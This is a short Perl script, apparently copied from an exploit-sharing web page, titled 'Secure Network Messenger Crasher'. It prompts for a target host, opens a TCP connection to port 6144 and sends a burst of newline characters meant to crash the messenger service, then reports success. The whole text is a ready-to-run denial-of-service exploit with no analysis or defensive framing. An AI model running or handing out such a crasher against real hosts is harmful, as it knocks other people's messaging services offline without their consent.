#!/usr/bin/perl
use IO::Socket;print ("\nSecure Network Messenger Crasher by ClearScreen\n");print ("\nEnter host to crash: ");$h = <STDIN>;chomp $h;$socks = IO::Socket::INET->new( Proto => "tcp", PeerPort => "6144", PeerAddr => "$h") or die "\nNo response from host.";
sleep 1;print "\nSuccesfully connected to $h!\n";for ($count=1; $count<15; $count++){print $socks "\n";select(undef, undef, undef, 0.1);}print "\nMessenger crashed.";close $socks;
推荐
评论(0条)
